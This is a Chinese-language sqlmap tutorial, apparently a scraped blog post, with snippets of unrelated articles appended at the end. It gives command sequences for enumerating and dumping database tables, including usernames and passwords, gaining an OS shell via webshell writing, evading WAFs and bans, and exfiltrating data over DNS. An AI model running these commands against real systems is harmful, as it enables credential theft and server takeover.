用最基礎的get型注入開始
1、當我們發現注入點的時候,
python sqlmap.py -u ""
2、檢視所有的資料庫
python sqlmap.py -u "" --dbs
3、檢視當前使用的資料庫
python sqlmap.py -u "" --current-db
4、發現使用的是security資料庫,接下來對此資料庫進行查詢
python sqlmap.py -u "" --tables -d "security"
5、查出所有表以後,對users表的列名進行查詢
python sqlmap.py -u "" --columns -t "users" -d "security"
6、users表中的列名已經知道了,可以直接查出所有資料
python sqlmap.py -u "" --dump -c "id,username,password" -t "users" -d "security"
在「使用者」->「.sqlmap」->「output」可看到查詢結果
7、檢視當前使用者:
python2 sqlmap.py -u "" --dbms=mysql --current-user
8、確認當前使用者是否dba(資料庫管理員)許可權:
python2 sqlmap.py -u "" --dbms=mysql --is-dba
9、確認是dba後,開始執行木馬寫入:
python sqlmap.py -u "" --dbms=mysql --os-shell
接下來會選擇指令碼語言以及寫入的路徑,選擇好後就可以直接獲得系統許可權。
-r:sqlmap可以從乙個文字檔案中獲取http請求,這樣就可以跳過設定一些其他引數(比如cookie,post資料,等等)。
比如get.txt文字檔案內如下:
再sqlmap中輸入:sqlmap -r c:\get.tet
-m:檔案中儲存url格式如下,sqlmap會乙個乙個檢測
–cookie:這個引數在以下兩個方面很有用:
1、web應用需要登陸的時候。
2、你想要在這些頭引數中測試sql注入時。
可以通過抓包把cookie獲取到,複製出來,然後加到–cookie引數裡。
例子:sqlmap -u "url" --cookie "cookie"
–random-agent:預設情況下sqlmap的http請求頭中user-agent值是:
sqlmap/1.0-dev-******x (
可以使用–random-agnet引數來隨機的從./txt/user-agents.txt中獲取。
–proxy:可以設定**,以便防止被ban。
使用–proxy**是格式為:http://url:port。
–delay:可以設定兩個http(s)請求間的延遲,設定為0.5的時候是半秒,預設是沒有延遲的。
–tamper:可以使用–tamper引數對資料做修改來繞過waf等裝置。
–technique:這個引數可以指定sqlmap使用的探測技術,預設情況下會測試所有的方式。支援的探測方式如下:
b: boolean-based blind sql injection(布林型注入)
e: error-based sql injection(報錯型注入)
u: union query sql injection(可聯合查詢注入)
s: stacked queries sql injection(可多語句查詢注入)
t: time-based blind sql injection(基於時間延遲注入)
例子:sqlmap -u "url" --technique=tb
支援基於時間延遲注入和布林型注入
–is-dba:判斷當前的使用者是否為管理,是的話會返回true。
–os-shell:可以模擬乙個真實的shell,可以輸入你想執行的命令。
1.提高測試等級
–risk:risk 執行測試的風險(0-3,預設為1)。預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加or語句的sql注入測試。
2.增加被測試的引數
‐‐level:共有五個等級,預設為1。
–level的引數設定為2或者2以上的時候,sqlmap會嘗試注入cookie引數。
–level引數設定為3或者3以上的時候,會嘗試對user-angent進行注入。
–level引數設定為3或者3以上的時候會嘗試對referer注入。
總之在你不確定哪個payload或者引數為注入點的時候,為了保證全面性,建議使用高的level值。
3.找到整正的請求頁面
通常情況下我們直接在瀏覽器看到的url上⾯的引數就是被帶⼊資料庫查詢的引數,但是事實上並不是全部的東西 都如我們眼睛看到的樣⼦。
4.指定測試位置
⽤*引數來指定測試語句的位置,這個通常⽤在注⼊偽靜態頁面。也可以用在正常注⼊點,在手工確認某個位 置可註⼊的使用,使⽤該引數可提⾼注⼊效率。
–dns-domain引數:如果你控制了一台dns伺服器,使用這個可以提高效率。例: --dns-domain 123.com
使用方法:sqlmap使用–dns-domain引數時候會監聽53埠(dns埠),我們需要把我們獲得資料所使用的網域名稱的dns伺服器配置到我們執行sqlmap的主機,就可以獲得dns外帶的資料。
因為配置dns伺服器的時候也需要dns,所以我們需要兩個網域名稱,詳細配置如下:配置我們的用於解析dns的nameserver的網域名稱ns1.***.com,ns2.***.com指向我們執行sqlmap的主機ip。
例子:sqlmap.py -u '' --random-agent --dns-domain='rainism.cc' -v 3
「偽靜態」顧名思義就是一種表面上看似是靜態網頁(以.html、.htm等結尾),不存在任何的資料互動,卻其實是動態網頁,存在資料互動的**,具有這種特性的網頁被稱為「偽靜態網頁」。
類似的url格式,大概是偽靜態,即偽裝成靜態⽹頁的動態鏈結。這種情況我們是可以測試注⼊的。
注入方式:
與正常的測試⽅法沒啥不同,唯⼀的就是指定測試payload的位置。 ⽐如本例中payload位置是放 在,那麼我們 就告訴sqlmap在哪注入就可以了,通過在放置payload位置加上 * 就可以了,即:
sqlmap -u
1、當我們發現注入點的時候,
python sqlmap.py -u ""
2、確認當前使用者是否dba(資料庫管理員)許可權:
python2 sqlmap.py -u "" --dbms=mysql --is-dba
3、確認是dba後,開始執行木馬寫入:
python sqlmap.py -u "" --dbms=mysql --os-shell
接下來會選擇指令碼語言以及寫入的路徑,選擇好後就可以直接獲得系統許可權。
注:能爆破出路徑sqlmap會自動填入路徑,沒爆出sqlmap也支援暴力破解或者手工輸入。
PostgreSQL學習 6 SQL函式
參考 postgresql 9.6.0 手冊 無引數,返回void create function delete order returns void as 記得加括號 delete from customer order where product price 21 language sql 注意...
滲透測試基礎之sql注入
1 什麼是sql注入?sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。2 sql注入能帶來的威脅?猜解後台資料庫,這是利用最多的方式,盜取 的敏感資訊。繞過認證,列如繞過驗證登入 後台。...
滲透測試和CTF中SQL注入
本文內容主要基於mysql的注入 首先,sql注入的成因 開發人員在開發過程中,直接將url中的引數,http body中的post引數或其它外來的使用者輸入 如cookies user agent等 與sql語句進行拼接,造成待執行的sql語句可控,從而使我們可以執行任意sql語句 1 可回顯的注...